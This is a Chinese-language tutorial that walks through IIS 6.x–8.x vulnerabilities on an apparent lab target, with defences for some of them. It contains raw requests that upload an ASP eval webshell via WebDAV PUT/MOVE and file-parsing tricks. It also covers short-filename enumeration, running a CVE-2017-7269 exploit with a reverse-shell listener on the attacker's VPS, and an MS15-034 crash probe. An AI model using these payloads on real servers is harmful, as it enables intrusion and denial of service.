介绍
IIS的全称是Internet Information Services(互联网信息服务),是微软提供的运行在Windows系统下的中间件,主要
用来解析.ASP,.ASA,.CER三种文件格式的文件。在实际上传环境中一般ASP这种文件都是黑名单的,所以有时候可
以尝试一下ASA和CER这两种格式上传.同样被解析当成ASP解析
不同Windows对应不同的IIS版本
Windows 2003 server ---> IIS 6.0
Windows 7 ---> IIS7.0和IIS7.5
Windows 2008 server sp2 ---> IIS 7.0
Windows 2008 server R2 ---> IIS 7.5
漏洞汇总
IIS6.X
IIS7.X
IIS8.X
IIS6.X
PUT漏洞(任意文件写入)
漏洞描述
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本 : IIS 6.0
环境部署
在IIS管理器的web服务扩展下开启WebDAV,以及要上传文件的目录需要开启写文件和执行脚本文件权限
漏洞复现
如果没有响应记得加上
Connection: close
提交OPTIONS请求,查看支持的协议
OPTIONS / HTTP/1.1
Host: upload.moonteam.com
提交PUT请求,写入文件(无法直接上传ASP)
PUT /shell.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25
123<%eval request("cmd")%>
返回201 Created
提交MOVE请求,修改文件名为shell.asp
MOVE /shell.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp
访问shell.asp
成功连接蚁剑
IIS6.0解析漏洞
基于文件名
原理
该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析;
号及其后面的内容,相当于截断。
补充一下:
iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp
iis6.0->主目录->配置 查看 这几种扩展名都是指向同一个文件 C:\WINDOWS\system32\inetsrv\asp.dll 所以都解析成asp
(这里列举asa后缀的文件解析)
复现
通过文件上传,或者创建文件,格式为*.asp;.jpg
这里直接在根目录添加shell.asp;.jpg
内容
123<%eval request("cmd")%>
成功连接蚁剑
基于文件夹
原理
该版本默认将*.asp/
目录下的所有文件当作asp解析
复现
创建*.asp
文件夹,在里面上传带有后门的图片
成功连接蚁剑
IIS短文件漏洞
介绍
简介:Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS 或 16 位Windows的程序访问这些文件。在cmd下输入”dir /x”即可看到短文件名的效果。
原理
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:
DEBUG、OPTIONS、GET、POST、HEAD、TRACE
IIS 8.0之后的版本只能通过OPTIONS
和TRACE
方法被猜测成功
短文件名特征:
-
所有小写字母均转换成大写的字母
-
只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增
- 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。
- 长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀
- 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。
复现
使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名
注:* 可以匹配n个字符, n可以为0
文件:
第一处*
为6位字符,第二处*
为3位字符
http://upload.moonteam.com/*~1.*/a.aspx
文件夹:
*
为5位字符
http://upload.moonteam.com/*~1/a.aspx
通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在
通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞
因此我们可以通过回显,盲注出文件名和后缀
比如在根目录下创建一个文件,命名为abcdefghi.txt
直接用burpsuite爆破一下,GET /§§*~1.*/a.aspx HTTP/1.1
字典为 0-9 a-z 和 .
出现404,说明文件名的第一位字符是a
继续爆破, GET /a§§*~1.*/a.aspx HTTP/1.1
出现404,说明文件名的第一位字符是b
依次类推,得知文件名前六位abcdef
接着爆破后缀,GET /abcdef~1.$$*/a.aspx HTTP/1.1
得知后缀名第一位为t
接下来就不列举了,按照上面的方法依次猜解得到该短文件名的后缀是txt 短文件名为 abcdef~1.txt 可以接着猜解 abcdefghi.txt文件名
工具
使用IIS短文件名扫描软件,获取目标存在哪些短文件名
https://github.com/lijiejie/IIS_shortname_Scanner
python2 iis_shortname_Scan.py http://upload.moonteam.com/
防御
- 升级 .net framework
- 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。
- 命令行关闭 fsutil behavior set disable8dot3 1
注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制,已经存在的短文件名则是不会消失的。可以将web文件夹的内容先拷贝到另一个位置,删完原来的文件,在把拷贝的文件粘贴回去
IIS RCE-CVE-2017-7269
介绍
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http://
开头的长标头执行任意代码 PROPFIND请求
影响范围
WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
漏洞复现
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
把文件改下名
python2 iis-exp.py 目标ip 目标端口 vps-ip 监听端口
vps: nc -lvnp 6666
运行时遇到一个问题
在源码中把print pay
注释掉
这样子就正常了
IIS7.X
IIS7文件解析漏洞
原理
IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:x.jpg或x.png后面加上/.php,会将x.jpg和x.png 解析为php文件
漏洞复现
上传图片到网站允许目录
访问的时候在图片后面加上 /.php
http://192.168.220.136:8980/1.jpg/.php
防御
- 配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
- 编辑映射模块->映射->打勾
HTTP.SYS远程代码执行(MS15-034)
DDOS,会导致蓝屏,不建议使用
介绍
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
漏洞复现
访问网站
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。
GET / HTTP/1.1
Host: 192.168.220.136
Range: bytes=0-18446744073709551615
Connection: close
poc地址: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC
服务器蓝屏重启
修复建议
安装修复补丁(KB3042553)